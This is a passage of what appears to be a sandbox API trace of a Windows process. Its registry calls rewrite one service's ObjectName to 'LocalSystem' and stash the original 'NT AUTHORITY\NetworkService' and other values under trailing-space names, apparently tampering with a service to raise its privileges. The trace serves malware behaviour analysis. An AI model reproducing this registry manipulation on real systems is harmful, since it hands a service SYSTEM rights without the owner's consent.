Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.173] RegQueryValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.173] RegQueryValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0258.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0258.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.174] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0258.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.174] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f1da8*, cbData=0x32 | out: lpData=0x21f1da8*) returned 0x0 [0258.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.174] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.174] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0258.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0258.175] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0258.176] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0258.176] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0258.176] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0258.176] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0258.176] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0258.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0258.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0258.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0258.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.177] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x1c) returned 0x0 [0258.177] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1da8, lpcbData=0x36f45c*=0x1c | out: lpType=0x36f454*=0x1, lpData="NT AUTHORITY\\NetworkService", lpcbData=0x36f45c*=0x1c) returned 0x0 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.178] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0258.178] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1c40, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0258.178] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0258.178] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0258.179] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0258.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0258.179] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0258.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0258.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.180] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0258.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.180] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0258.180] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.180] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.180] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0258.180] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0258.180] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.180] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.181] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.181] RtlAllocateHeap 